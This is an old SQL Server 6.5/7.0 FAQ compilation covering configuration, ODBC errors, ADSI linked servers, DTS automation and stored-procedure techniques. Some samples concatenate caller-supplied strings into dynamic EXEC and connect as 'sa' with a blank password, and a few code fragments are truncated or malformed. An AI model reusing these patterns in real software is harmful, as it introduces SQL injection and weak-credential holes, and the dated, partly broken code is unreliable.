  • SET statement settings override database option settings (set by using sp_dboption). In addition, some connection settings are set ON automatically when a user connects to a database based on the values put into effect by the prior use of the sp_configure user options setting or the values that apply to all ODBC and OLE/DB connections.
  • When a global or shortcut SET statement (for example, SET ANSI_DEFAULTS) sets a number of settings, issuing the shortcut SET statement resets the prior settings for all those options affected by the shortcut SET statement. If an individual SET option (affected by a shortcut SET statement) is explicitly set after the shortcut SET statement is issued, the individual SET statement overrides the corresponding shortcut settings.
  • When batches are used, the database context is determined by the batch established with the USE statement. Ad hoc queries and all other statements that are executed outside of the stored procedure and that are in batches inherit the option settings of the database and connection established with the USE statement.
  • When a stored procedure is executed either from a batch or from another stored procedure, it is executed under the option values that are currently set in the database that contains the stored procedure. For example, when stored procedure db1.dbo.sp1 calls stored procedure db2.dbo.sp2, stored procedure sp1 is executed under the current compatibility level setting of database db1, and stored procedure sp2 is executed under the current compatibility level setting of database db2.
  • When a Transact-SQL statement refers to objects that reside in multiple databases, the current database context and the current connection context (the database defined by the USE statement if it is in a batch, or the database that contains the stored procedure if it is in a stored procedure) applies to that statement.
  • With the exception of the SET QUOTED_IDENTIFIER and the SET ANSI_NULLS options, all SET options apply immediately after being set. Therefore, most Transact-SQL SET statements are interpreted during execution.


Q. Why am I seeing entries in sysindexes (or sp_helpindex) for indexes I have not created?

A. sysindexes contains rows per object as follows :-

. Every table has a row with an indid value of either 0 (heap) or 1 (if it has a clustered index).

. Every nc index has a row with indid > 1.

. If text/image columns are used then these use rows.

.(SQL 7 only). There are rows for keeping track of non-index statistics on columns that SQL decides to capture statistics on even though there is no physical index on the column. Their names are _WA_Sys_<column>_<number>. These "indexes" cannot be dropped with a drop index command. They are there for the SQL optimiser to best choose query plans but if you want to drop them they can be with the drop statistics command.

. (SQL 7 only). When the index tuning wizard runs it creates "hypothetical" indexes with names like hind_<type>_<column>_<number>. These are removed when you create a "real" index on those columns using the script that the wizard produces for you.


Q. I'm getting #deleted entries in resultsets from ODBC since installing SQL 7

Q. I'm getting #deleted entries in resultsets from ODBC since installing SQL 7, why?

A. Several possibilities -

1. Could be a bug with numeric/decimal fields that only occurs with ODBC driver 3.70.0623. Upgrade to 3.70.0690 which comes with SQL 7 SP1 and/or MDAC 2.1 SP2.

2. PSS ID Number: Q128809
Article last modified on 01-06-1998

2.0

WINDOWS

======================================================================
---------------------------------------------------------------------
The information in this article applies to:

- Microsoft Access version 2.0, 7.0, 97
---------------------------------------------------------------------

SYMPTOMS
========

When you retrieve, insert, or update records in an attached ODBC table,
each field in a record contains the "#Deleted" error message. When you
retrieve, insert, or update records using code, you receive the error
message "Record is deleted."

CAUSE
=====

The Microsoft Jet database engine is designed around a keyset-driven model.
This means that data is retrieved, inserted, and updated based on key
values (in the case of an attached ODBC table, the unique index of a
table).

After Microsoft Access performs an insert or an update of an attached ODBC
table, it uses a Where criteria to select the record again to verify the
insert or update. The Where criteria is based on the unique index.
Although numerous factors can cause the select not to return any records,
most often the cause is that the key value Microsoft Access has cached is
not the same as the actual key value on the ODBC table. Other possible
causes are as follows:

- Having an update or insert trigger on the table, modifying the key
value.

- Basing the unique index on a float value.

- Using a fixed-length text field that may be padded on the server with
the correct amount of spaces.

- Having an attached ODBC table containing Null values in any of the
fields making up the unique index.

These factors do not directly cause the "#Deleted" error message. Instead,
they cause Microsoft Access to go to the next step in maintaining the key
values, which is to select the record again, this time with the criteria
based on all the other fields in the record. If this step returns more than
one record, Microsoft Access returns the "#Deleted" message because it does
not have a reliable key value to work with. If you close and re-open the
table or choose Show All Records from the Records menu, the "#Deleted"
errors are removed.

Microsoft Access uses a similar process to retrieve records from an
attached ODBC table. First, it retrieves the key values and then the rest
of the fields that match the key values. If Microsoft Access is not able to
find that value again when it tries to find the rest of the record, it
assumes that the record is deleted.

RESOLUTION
==========

The following are some strategies that you can use to avoid this behavior:

- Avoid entering records that are exactly the same except for the unique
index.

- Avoid an update that triggers updates of both the unique index and
another field.

- Do not use a Float field as a unique index or as part of a unique index
because of the inherent rounding problems of this data type.

- Do all the updates and inserts by using SQL pass-through queries so
that you know exactly what is sent to the ODBC data source.

- Retrieve records with an SQL pass-through query. An SQL pass-through
query is not updateable, and therefore does not cause "#Delete" errors.

- Avoid storing Null values within any field making up the unique index of
your attached ODBC table.

MORE INFORMATION
================

Steps to Reproduce Behavior
---------------------------

1. Open the sample database Northwind.mdb (or NWIND.MDB. in Microsoft
Access 2.0)

2. Use the Upsizing Tools to upsize the Shippers table.

NOTE: This table contains an AutoNumber field (or Counter field in
Microsoft Access 2.0) that is translated on SQL Server by the Upsizing
Tools into a trigger that emulates a counter.

3. Open the attached Shippers table and enter a new record. Make sure
that the record you enter has the same data in the Company Name field
as the previous record.

4. Press TAB to move to a new record. Note that the "#Deleted" error fills
the record you entered.

5. Close and re-open the table. Note that the record is correct.


Q. How can I use SQL 7's HDQ facilities to get at NT domain or Exchange information?

A. This information is supposed to get ADSI working from SQL Server, however your mileage may vary (please provide any feedback on updating/correcting the information here).

In order to get an ADSI linked server to SQL Server 7.0, you will need to install the following pre-requisites. ADSI 2.0 doesn't work with MDAC 2.1 (installed w/ SQL Server 7.0). For more information on the issues of ADSI 2.0 and MDAC 2.1, see:

http://support.microsoft.com/support/kb/articles/q216/7/09.asp

Requirements:
=============

1. You must install SQL Server 7.0. For more information about SQL Server, visit http://www.microsoft.com/sql

2. You must install ADSI 2.5 Runtime on the machine SQL Server is installed :-
http://www.microsoft.com/adsi -or-
ftp://ftp.microsoft.com/bussys/sitesrv/sitesrv-public/fixes/usa/siteserver3/sp2/x86/adsi/ads.exe

3. You must either use Active Directory (Windows 2000), an NT 4.0 SAM database or Exchange Server as a basis for directory information.

Step by Step Instructions
======================
In to add a linked server, do the following:

1. Run the Query Analyzer

2. Logon the the SQL Server machine.

3. Execute the following line.

/***********************************************************/
sp_addlinkedserver 'ADSI', 'Active Directory Services 2.5', 'ADSDSOObject','adsdatasource'
go
/***********************************************************/

This tells SQL Server to associate word 'ADSI' with ADSI OLE DB provider - 'ADSDSOObject'

Following is an example scenario of common operations:
======================================================

/***********************************************************/
SELECT * FROM OpenQuery(
ADSI,'<LDAP://DC=Microsoft,DC=com>;(&(objectCategory=Person)(objectClass=use
r));name, adspath;subtree')
/***********************************************************/

Note: you should change the DC=.., DC=.. accordingly. This query asks for
all users in the 'Microsoft.com' domain.

You may also use the ADSI SQL Dialect, for example:

/***********************************************************/
SELECT * FROM OpenQuery( ADSI, 'SELECT name, adsPath FROM
''LDAP://DC=Microsoft,DC=com'' WHERE objectCategory = ''Person'' AND
objectClass= ''user''')
/***********************************************************/

Creating, Executing a View
==========================

You may create a view for data obtained from Active Directory. Note that
only the view definition is stored in SQL Server, not the actual result
set. Hence, you may get a different result when you execute a view later.

To create a view, type and execute:

/***********************************************************/
CREATE VIEW viewADUsers AS
SELECT * FROM OpenQuery(
ADSI,'<LDAP://DC=Microsoft,DC=com>;(&(objectCategory=Person)(objectClass=use
r));name, adspath;subtree')
/***********************************************************/

To execute a view, type

/***********************************************************/
SELECT * from viewADUsers
/***********************************************************/

Heteregenous Join between SQL Server and Active Directory

Create a SQL table, a employee performance review table

/***********************************************************/
CREATE TABLE EMP_REVIEW
(
userName varChar(40),
reviewDate datetime,
rating decimal
)
/***********************************************************/

Insert few records

/***********************************************************/
INSERT EMP_REVIEW VALUES('Administrator', '2/15/1998', 4.5 )
INSERT EMP_REVIEW VALUES('Administrator', '7/15/1998', 4.0 )
/***********************************************************/

Note: You can insert other user names.

Now join the two

/***********************************************************/
SELECT ADsPath, userName, ReviewDate, Rating
FROM EMP_REVIEW, viewADUsers
WHERE userName = Name
/***********************************************************/

Now, you can even create another view for this join,

/***********************************************************/
CREATE VIEW reviewReport
SELECT ADsPath, userName, ReviewDate, Rating
FROM EMP_REVIEW, viewADUsers
WHERE userName = Name
Advanced Operations
/***********************************************************/

You may log-on as different user when connecting to the Active Directory.
To specify the alternate credential.

Example:

/***********************************************************/
sp_addlinkedsrvlogin ADSI, false, 'MICROSOFT\Administrator',
'CN=Administrator,CN=Users,DC=Microsoft,DC=com', 'passwordHere'
/***********************************************************/

This line tells Distributed Query that if someone logs on in SQL Server as
'Microsoft\Administrator', the Distributed Query will pass the
'CN=Administrator,CN=Users, DC=Microsoft, DC=com' and 'passwordHere' to
ADSI as the credentials.

To stop connecting as an alternate credential, type:

/***********************************************************/
sp_droplinkedsrvlogin ADSI,'MICROSOFT\Administrator'
/***********************************************************/

The following links may also be helpfull:
=========================================

http://msdn.microsoft.com/developer/news/feature/120197/Exchange/adsi.htm

http://msdn.microsoft.com/library/sdkdoc/adsi/ds2cli_9x9u.htm#_ds_formal_gra
mmar_for_the_sql_queries

http://msdn.microsoft.com/library/sdkdoc/adsi/ds2intro_0ckz.htm


How can I tell if my code is ANSI-92 compliant?

Q. How can I tell if my code is ANSI-92 compliant?

A. The following is from the Books-Online. What isn't documented is that you need to put quotes around any value other than off.

SET FIPS_FLAGGER (T-SQL)
Specifies checking for compliance with the FIPS 127-2 standard, which is based
on the SQL-92 standard.

Syntax
SET FIPS_FLAGGER level

Arguments
level
Is the level of compliance against the FIPS 127-2 standard for which all
database operations are checked. If a database operation conflicts with the
level of SQL-92 standards chosen, Microsoft® SQL Server™ generates a warning.
level must be one of these values.

Value Description
ENTRY Standards checking for SQL-92 entry-level compliance
FULL Standards checking for SQL-92 full compliance
INTERMEDIATE Standards checking for SQL-92 intermediate-level compliance
OFF No standards checking

Remarks
The setting of SET FIPS_FLAGGER is set at parse time and not at execute or run
time. Setting at parse time means that if the SET statement is present in the
batch or stored procedure, it takes effect, regardless of whether code
execution actually reaches that point; and the SET statement takes effect
before any statements are executed. For example, even if the SET statement is
in an IF...ELSE statement block that is never reached during execution, the SET
statement still takes effect because the IF...ELSE statement block is parsed.

If SET FIPS_FLAGGER is set in a stored procedure, the value of SET FIPS_FLAGGER
is restored after control is returned from the stored procedure. Therefore, a
SET FIPS_FLAGGER statement specified in dynamic SQL does not have any effect on
any statements following the dynamic SQL statement.

Permissions
SET FIPS_FLAGGER permissions default to all users


Q. How can I automate the scripting/transfer of a database/objects in SQL Server?

A. You can do this using the SQL-DMO objects that SQL supports. These can be called via the SQL OLE interface. There is a help file for the SQL DMO objects included with SQL Server and there is an icon for it in your SQL group.

For an example of using the SQL OLE interface see Q152801 in the Microsoft Kb. Alternatively you can code your own VB app to call the DMO routines yourself.

For SQL 7.0 you could also use the SCPTXFT.EXE utility found in the UPGRADE directory to script objects. You can schedule this using SQLAgent or run from a SP etc. Do a SCPTXFT /? to see the parameters - which are self explanatory. (If it isn't on your hard-drive then look in the upgrade directory on the CD).

See Q220163 for more details.


Q. If I lose my data file (MDF) in SQL 7 I can't backup the log to recover to a point in time - why not?

A. A small oversight on MS's part - which will be fixed in the next major (not service-pack) release of SQL.

Under 6.5 you would do BACKUP LOG <dbname> TO <device> WITH NO_TRUNCATE.

Under SQL 7 this gets you an error
Server: Msg 3446, Level 16, State 1
Primary file not available for database <xx>

This is because the metadata that tells SQL where the files are for the database are in the primary file - in SQL 6.5 this info was held in system tables in master.

A workaround for this is :-

1. Use only ONE file in the primary file group (the primary file), and place this file on the same drive (mirrored) as your log files. This gives it the same protection as the log.

2. Add another file group, with one or more files for data - obviously this goes on different disks to the log. Mark this second file group as the default (Alter database)

3. Then, when your data file is lost , backup no_truncate will work because the primary file with the metadata in (but no user data) is still available.


Q. What does the SQL Server error message "sort: bob write not complete after xx seconds." mean?

A. Bob is the Big Output Buffer. It is used for writing out intermediate tables created during a sort. Because it is doing heavy sequential writes it can stress the disk subsystem.

As long as SQL Server carries on, and no other errors are being reported, then there is nothing to worry about. They are merely showing that the disk subsystem is unable to keep up with the level of i/o that SQL Server is asking it to do. SQL just waits and retries these requests.

To up the amount of time that SQL waits before issuing this message and retrying amend the "resource timeout" parameter via sp_configure.

You MAY need to decrease your max async io or max lazywrite io if these errors are continuous. Or invest in a faster disk subsystem. Or spread your devices across more of your existing spindles.

Also make sure that non-SQL processes are not causing disk contention.


Q. How can I run a DTS package from within SQL Server - e.g. a stored-procedure?

A. You can either :-

1. Run from xp_cmdshell "dtsrun dtsfile"

or

2. Use sp_OA sp's. Example of this is below (courtesy of Bill Hodghead)

if exists (select * from sysobjects where id = object_id(N'[dbo].[sp_displayoaerrorinfo]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_displayoaerrorinfo]
GO

if exists (select * from sysobjects where id = object_id(N'[dbo].[sp_displaypkgerrors]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_displaypkgerrors]
GO

if exists (select * from sysobjects where id = object_id(N'[dbo].[sp_executepackage]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_executepackage]
GO

create proc sp_displayoaerrorinfo
@object as int
as
Declare @hr int
DECLARE @output varchar(255)
DECLARE @source varchar(255)
DECLARE @description varchar(255)

PRINT 'OLE Automation Error Information'

EXEC @hr = sp_OAGetErrorInfo @object, @source OUT, @description OUT
IF @hr = 0
BEGIN
SELECT @output = ' Source: ' + @source
PRINT @output
SELECT @output = ' Description: ' + @description
PRINT @output
END

ELSE
BEGIN
PRINT ' sp_OAGetErrorInfo failed.'
RETURN
END
GO

create proc sp_displaypkgerrors
@pkg as int
as
declare @numsteps int
declare @steps int
declare @step int
declare @stepresult int
declare @pkgresult int
declare @hr int

select @pkgresult = 0

EXEC @hr = sp_OAGetProperty @pkg, 'Steps', @steps OUTPUT
IF @hr <> 0
BEGIN
print 'Unable to get steps'
EXEC sp_displayoaerrorinfo @pkg --, @hr
RETURN
END

EXEC @hr = sp_OAGetProperty @steps, 'Count', @numsteps OUTPUT
IF @hr <> 0
BEGIN
print 'Unable to get number of steps'
EXEC sp_displayoaerrorinfo @steps --, @hr
RETURN
END

while @numsteps > 0
Begin
EXEC @hr = sp_OAGetProperty @steps, 'Item', @step OUTPUT, @numsteps
IF @hr <> 0
BEGIN
print 'Unable to get step'
EXEC sp_displayoaerrorinfo @steps --, @hr
RETURN
END

EXEC @hr = sp_OAGetProperty @step, 'ExecutionResult', @stepresult OUTPUT
IF @hr <> 0
BEGIN
print 'Unable to get ExecutionResult'
EXEC sp_displayoaerrorinfo @step --, @hr
RETURN
END

select @numsteps = @numsteps - 1
select @pkgresult = @pkgresult + @stepresult
end

if @pkgresult > 0
print 'Package had ' + cast(@pkgresult as varchar) + ' failed step(s)'
else
print 'Packge Succeeded'

GO

create proc sp_executepackage
@packagename varchar(255), --package name, gets most recent version
@userpwd varchar(255) = Null, --login pwd
@intsecurity bit = 0, --use non-zero to indicate integrated security
@pkgPwd varchar(255) = '' --package password
as
declare @hr int
declare @object int

--create a package object
EXEC @hr = sp_OACreate 'DTS.Package', @object OUTPUT
if @hr <> 0
Begin
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
end

--load the package (ADD integrated security support)
declare @svr varchar(15)
declare @login varchar(15)
select @login = SUSER_NAME()
select @svr = HOST_NAME()
declare @flag int
select @flag = 0

if @intsecurity = 0
if @userpwd = Null
EXEC @hr = sp_OAMethod @object, 'LoadFromSqlServer',NULL, @ServerName=@svr, @ServerUserName=@login, @PackageName=@packagename, @Flags=@flag, @PackagePassword = @pkgPwd
-- ServerName As String, [ServerUserName As String], [ServerPassword As String], [Flags As DTSSQLServerStorageFlags = DTSSQLStgFlag_Default], [PackagePassword As String], [PackageGuid As String], [PackageVersionGuid As String], [PackageName As String], [pVarPersistStgOfHost])
else
EXEC @hr = sp_OAMethod @object, 'LoadFromSqlServer',NULL, @ServerName=@svr, @ServerUserName=@login, @PackageName=@packagename, @Flags=@flag, @PackagePassword = @pkgPwd, @ServerPassword = @userpwd
else
begin
select @flag = 256
EXEC @hr = sp_OAMethod @object, 'LoadFromSqlServer',NULL, @ServerName=@svr, @PackageName=@packagename, @Flags=@flag, @PackagePassword = @pkgPwd
end

IF @hr <> 0
BEGIN
print 'LoadFromSQLServer failed'
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
END

--execute it
EXEC @hr = sp_OAMethod @object, 'Execute'
IF @hr <> 0
BEGIN
print 'Execute failed'
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
END

--return the step errors as a recordset
exec sp_displaypkgerrors @object

-- unitialize the package
EXEC @hr = sp_OAMethod @object, 'UnInitialize'
IF @hr <> 0
BEGIN
print 'UnInitialize failed'
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
END

-- release the package object
EXEC @hr = sp_OADestroy @object
if @hr <> 0
Begin
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
end
GO


Q. Where can I get Embedded SQL for SQL Server?

A. http://support.microsoft.com/download/support/mslfiles/ESQLC.EXE

Note that this only supports SQL 6.5 and earlier. It will work against SQL 7.0 but you won't have access to any SQL 7.0 only features - this is due to it using the db-lib interface.


Q. How can I get file information using SQL Server?

A. Using the undocumented xp_getfiledetails procedure :-

create table #info (
alt_name varchar(255) null,
size_in_bytes int null,
creation_date int null,
creation_time int null,
last_written_date int null,
last_written_time int null,
last_accessed_date int null,
last_accessed_time int null,
attributes int null
)

insert #info exec master..xp_getfiledetails 'C:\Directory\File.nam'


Q. My SQL Server database has been marked "loading" - what can I do?

A. As long as it really isn't loading then you can drop the database with sp_dbremove.


Q. How can I connect to SQL Server from a Macintosh?

A. It appears that the Microsoft provided driver with Office for the Macintosh no longer works with SQL 7.0. It works fine with SQL 6.5 and below. Your options are :-

1. www.snap.de. They produce a DAL/ODBC DBMS called PrimeBase that can be used to front-end other ODBC applications.

2. There are 32-bit 680x0 ODBC drivers on the Visual FoxPro for Power Macintosh CD version 3.0. The 32-bit drivers (v2.11 from Visigenic, v6.0b3 of the SQL Server driver). These work with 16-bit FoxPro 2.6a as well. One issue is that on MacOS 8.5.1, you get Type 1, Type 3 or Type 10 errors when you quit the FoxPro 2.6, BUT if you compile a 680x0 executable it works ok.

3. You can also get Mac drivers from http://www.openlinksw.co.uk/

4. http://www.iodbc.org/ has an SDK

5. http://www.meta-comm.com allegedly have a free add-on run on the server to make old clients connect ok

===

v1.07 2000.02.04
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. I am getting problems with ODBC apps since upgrading to SQL 6.5 SP5a or installing SQL 7.

A. Microsoft introduced a lot of compatibility problems (especially with Jet) with the versions of MDAC released with SQL 6.5 SP5a and SQL 7.0.

If you use MDAC 2.1 SP2 on www.microsoft.com/data this should resolve the problems.

===

v1.02 2000.02.05
Applies to SQL Server versions : 6.5, 7.0
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How do I configure multi-protocol net-lib to force encryption of packets in SQL Server?

A. To set up encryption for a specific user

1. Create an account on the machine running SQL Server that matches the
account (same username and password) on the client machine.
2. Turn on encryption for the Multi-Protocol netlib. This can be done for a
specific client or through the server for all clients. For more information,
see "Configuring Clients" in the Microsoft SQL Server Administrator's
Companion.

To set up encryption for all users

On the machine running SQL Server
1. In the Administrative Tools program group, in the User Manager utility,
from the User menu choose New User.
The New User dialog box appears.
2. In the dialog box, establish a user account with username as token1 and
as password token2.
3. Enable the multiprotocol encryption option by following instructions
described in "Configuring Clients" in the Microsoft SQL Server
Administrator's Companion.
4. Start SQL Server.

On the machine running the client application
1. In the Microsoft SQL Server 6.5 program group, double-click the SQL
Client Configuration Utility.
The SQL Server Client Configuration Utility dialog box appears.
2. Click the Advanced tab.
3. For the machine on which you set up the user account, specify a logical
name in the Server box for SQL Server.
4. In the DLL Name list box, select Multi-Protocol.
5. In the Connection String box, type the following:
ncacn_ip_tcp: servername, token1, token2
where
servername
Specifies the DNS name for the server machine.
token1
Specifies the username of the user account on the server machine.
token2
Specifies the password for the user account on the server machine.
The username and password will be used by the client to establish an
encrypted connection to SQL Server. Note that this user account is a valid
Windows NT account and must be subject to Standard Security.
The user account established on the server machine is not a SQL Server
account. The client application must specify a valid SQL Server username and
password to successfully connect to SQL Server.
If the connection is unsuccessful because of an invalid username or
password, the Multi-Protocol netlib will return error 5 (access denied).

You can also force using the Multi Protocol Net Lib from the client by
putting a network=dbmsrpcn; in your connect string.


Q. How can I ORDER BY different fields based on a variable in SQL Server?

A. There are three ways :-

1. Build up the whole select statement including the order by into a string and then use the EXEC (@str) command where @str contains the SQL to be run.

2. As above, but using sp_executesql. See exec.txt in the faq for more details on these two.

3. If all the fields are of the same datatype then you can use the CASE statement.

declare @var int
select @var=1
select * from tbl
order by CASE
WHEN @var=1 THEN field1
WHEN @var=2 THEN field2
WHEN @var=3 THEN field3
ELSE field4
END


Q. Can I upgrade SQL 4.x to 7.0 directly?

A. No :-

1. Upgrade to NT 3.51 if you're not already at that level.
2. Upgrade to SQL 6.5
3. Install 6.5 Service pack 3 or above
4. Upgrade to NT 4.0
5. Install NT 4.0 service pack 4 or above
6. Install IE 4.0 SP1 or above
7. Upgrade to SQL 7
8. Install SQL 7 Service Pack 1

Easy, if a little manual.


Q. How can I programmatically kick off a SQL dump and get the stats on how far through it is back dynamically?

A. You can do it with DMO. Here is some sample code supplied bt Gert Drapers.

Option Explicit

Dim mSQLServer As SQLDMO.SQLServer
Dim WithEvents mBackupEvents As SQLDMO.Backup

Private Sub cmdBackupWithEvents_Click()
Dim mDatabase As SQLDMO.Database
Dim mBackup As New SQLDMO.Backup
Set mBackupEvents = mBackup

For Each mDatabase In mSQLServer.Databases
If (mDatabase.Name <> "model" And mDatabase.Name <> "tempdb") Then
mBackup.Database = mDatabase.Name
mBackup.Files = "c:\dump\" & mDatabase.Name & Format(Date,
"yyyy-mm-dd") & ".bak"
mBackup.SQLBackup mSQLServer
End If
Next

Set mBackupEvents = Nothing
Set mBackup = Nothing

End Sub

Private Sub cmdConnect_Click()
Set mSQLServer = New SQLDMO.SQLServer
Call mSQLServer.Connect("(local)", "sa", "")
Msg "Connected " & Now()
End Sub

Private Sub cmdDisconnect_Click()
If (Not mSQLServer Is Nothing) Then
mSQLServer.DisConnect
Set mSQLServer = Nothing
End If
Msg "Disconnected " & Now()
End Sub

Private Sub mBackupEvents_Complete(ByVal Message As String)
txtOut = txtOut & Message & vbCrLf
End Sub

Private Sub mBackupEvents_NextMedia(ByVal Message As String)
txtOut = txtOut & Message & vbCrLf
End Sub

Private Sub mBackupEvents_PercentComplete(ByVal Message As String, ByVal
Percent As Long)
txtOut = txtOut & Message & "Percent " & Percent & vbCrLf
End Sub


Q. Where does the list of SQL Server's come from in registration/dialog boxes?

A. When SQL Server starts up it "registers" itself with the network. The list of workstations/servers/etc is held in a browser list which is normally maintained by the domain controllers. You can also use the SQLBrowseConnect api.

A client needing a list of resources - in this case SQL Servers - issues NetEnumXXXX commands to get the list back - this is provided by whichever server running as a browser master has the info. For more details on browsing see the NT resource kits.

Some restrictions :-

1. The client side Win32 named pipe Net-Library (DBNMPNTW.DLL) does not
support server enumeration on Windows 9x-based computers. This means you won't see a list from a Win9x client.

2. There is no support for server enumeration with the Multi-Protocol
Net-Library. Any server just running multi-protocol will not be visible.


Q. Can I add comments to SQL Server's schema like I can with Access?

A. No - SQL Server as of v7.0 and below does not support this. You can, of course, store comments in a user table if you wish. If this table were created in the model database then it would be created automatically for all new databases.


Q. How can I pass an array of values to a SQL Server stored-procedure?

A. Basically you can't - SQL Server has no array type - ANSI SQL 92 does not specify array support. But there are various ways around it.

1. You could simulate an array by passing one or more varchar(255) fields with comma-separated values and then use a WHILE loop with PATINDEX and SUBSTR to extract the values.

2. The more usual way to do this would be to populate a temporary table with the values you need and then use the contents of that table from within the stored-procedure. Example of this below

create procedure mytest @MyParmTempTable varchar(30)
as
begin
-- @MyParmTempTable contains my parameter list...

-- For simplicity use dynamic sql to copy into a normal temp table...

create table #MyInternalList (
list_item varchar( 2 ) not null
)

set nocount on

insert #MyInternalList
exec ( "select * from " + @MyParmTempTable )

set nocount off

-- It is now easier to join..
select *
from sysobjects
where type in ( select list_item from #MyInternalList )

end
go

To call..

create table #MyList (
list_item varchar( 2 ) not null
)
insert #MyList values ( 'S' )
insert #MyList values ( 'U' )
insert #MyList values ( 'P' )

exec mytest "#MyList"

3. If all you wanted to do was use the array/list as input to an IN clause in a WHERE statement you could use :-

REATE PROCEDURE sp_MyProcedure (@MyCommaDelimitedString
Varchar(255))
AS
BEGIN
EXEC ('SELECT * FROM MYTABLE WHERE MYFIELD IN (' + @MyCommaDelimitedString + ')')
END
GO


How does SQL Server clear up orphaned connections?

Q. How does SQL Server clear up orphaned connections?

A. It doesn't. It never terminates a connection unless it is told to by a user, a KILL command is issued, or the operating system tells it that the network connection it is using has been disconnected.

How long the operating system takes to kill a network connection, or whether it is done at all, depends on the net-lib and network protocol used. For parameters on keep-alive frames and session time-outs for the relevant network protocol the best guide is the NT Server resource kit, which describes how NT's various network layers work. See Q137983
for some details pertinent to SQL Server.

Typically, named-pipe connections over netbeui will be timed out quite quickly, followed by named-pipes over IP. If you're using tcp-ip sockets then these sessions aren't timed-out at all by default.


Q. How do I configure the debugger in Visual Studio to work with SQL 7?

A. Check out http://msdn.microsoft.com/library/techart/msdn_storedproceduredebugtech.htm.


Q. How can I connect from Delphi to SQL 7?

A. You need to at least be on BDE 5.01. This knows about SQL 7.0 systems tables etc. However it is still db-lib based and therefore does not support Unicode, Varchars greater than 255 bytes and any other SQL 7.0 only feature.

Inprise (Borland) will be bringing out an ADO alternative in the future - check their website for details.

Download of current BDE: http://www.borland.com/devsupport/bde/
BDE info: http://www.borland.com/bde/
BDE Q&A: http://www.borland.com/devsupport/bde/qanda/
Delphi info: http://www.borland.com/delphi/
SQLLinks info: http://www.borland.com/sqllinks/

For a non-Inprise solutions check out http://www.kylecordes.com/bag/index.html


Q. Why does my copy of SQL Server say it is the 120 day eval edition when it is the full commercial copy?

A. This is because you have it installed on an evaluation copy of NT - SQL Server also checks the licensed state of the operating system. You will need to re-install NT.


Q. Why do I get a "variable is not declared" inside my EXEC statement?

A. This is because a variable is local to a batch of SQL - normally batches are split up with GO statements. However an EXEC is a separate batch and so it cannot see any local variables already created.

You must put the variable declarations you need inside the EXEC statement.


Q. What is the equivalent of the IIF command in SQL Server?

A. In Microsoft Access you would use :-

Select iif(field>10,"large", "small") as Size from Table

With SQL Server, use the CASE command

SELECT Size =
CASE
WHEN field > 10 THEN "large"
ELSE "small"
END
from Table


Q. What does the red zig-zag line next to a server name in SQL Enterprise Manager mean?

A. It just means that you are connected to the SQL Server on that machine.


Q. Why do I get the error 'An unknown full-text failure (80004005)'?

A. This is an ODBC/ADO error message and is a generic one - all it tells you is that an error has occurred. After the error number is a description giving specific information on what is going on. To debug this info look at Q183060 in the Microsoft Knowledgebase. http://support.microsoft.com/support.

===

v1.02 2000.02.04
Applies to SQL Server versions : All
Related FAQ articles : Q183060
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Why does the tcp-ip net-lib not appear as an option in SQL Setup?

A. Two possible reasons :-

  1. With 6.5 and below you have integrated security defined. Integrated security requires NT authentication of net-lib connections and tcp-ip sockets does not offer this.
  2. The server does not have tcp-ip loaded as a network protocol. Check this via control panel/networks/protocols.


Q. How much longer will Microsoft support SQL 6.5 for?

A. As a rule of thumb :-

Microsoft provide support for at least the current and previous version of a product (service-packs don't count). So with 6.5 and 7.0 out Microsoft will actively support 6.5 until the next version of SQL comes out - active means fixing the code and issuing servicepacks and hotfixes. The next version - SQL 2000 (Shiloh) - is due by the end of 1H 2000.

After that Microsoft continue to provide support for as long as they feel the customer base warrants it. This is weighed up against the fact that Microsoft support doesn't make the company any money and they do want to encourage users to upgrade (because that does make them money). For 6.5 I would expect this to be a fairly long period given the installed-base of 6.5. During this time the likelihood of servicepacks substantially decreases but for major problems or major customers you will at least get hot-fixes written.

Once this period finishes Microsoft finishes "active" support. The source-code is still available to the PSS support people for debugging, but no more fixes will be written. Microsoft will still take a support call and help out with a problem - be it performance, corruption etc. They will help you fix the problem yourself or provide workarounds, but they will not fix the 6.5 codebase. If a bug is found they will test it against the latest version of SQL Server and fix it in that if necessary, but your only option to get the fix would be to upgrade.

The other thing to note is that normal staff turn-over, promotions, moves etc. means that the Microsoft SQL support group's experience and knowledge will naturally migrate to the newer/current versions. Staying current with SQL versions/servicepacks is the best way to ensure the highest quality of support.

Microsoft are not actively support SQL 6.0 or below.

===

v1.03 2000.02.01
Applies to SQL Server versions : 6.5
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How can I tell whether a table is a system (Microsoft) table in SQL 7?

A. select * from sysobjects where objectproperty(id, 'IsMSShipped') = 1


Q. Where can I get SQL 7.0 SP1?

A. SQL 7 SP1 is now released and available at :-

ftp://ftp.microsoft.com/bussys/sql/public/fixes/usa/SQL70/Sp1


Q. Why do I get "SQL Server has run out of locks" error message with SQL 7 - I thought it dynamically allocated them?

A. First check that you haven't given locks a fixed number rather than letting it automatically expand (the default) - check sp_configure.

If dynamic allocation is set, then this does work - it does dynamically allocate them as long as there is ENOUGH MEMORY to allocate them from. The error should really say that SQL has no more memory to allocate the locks from.

If you have artificially limited the amount of memory SQL Server can get then consider putting it back to an unlimited maximum and let it handle it itself. If it is already automatic then you will need to reduce the memory requirements of the queries/workload concerned or add more memory to the server.


Q. How do I configure the client query time-out for SQL Server?

A. If you are using a utility then this is normally under file/options or tool/options from the menu. Set it to the value you require - 0 means infinite (no) timeout.

For example :-

Enterprise Manager time-out is set in TOOLS/OPTIONS/Connection/Query Timeout
Query Analyzer time-out is set in QUERY/Current Connect Options/Query Timeout

If you want to do it in C/VB code then this depends on the data access method. Look in the BOL for more details, but with raw ODBC you would use :-

etcode = SQLSetConnectAttr(m_hdbc, SQL_ATTR_CONNECTION_TIMEOUT,
(SQLPOINTER)dwSeconds, SQL_IS_UINTEGER);


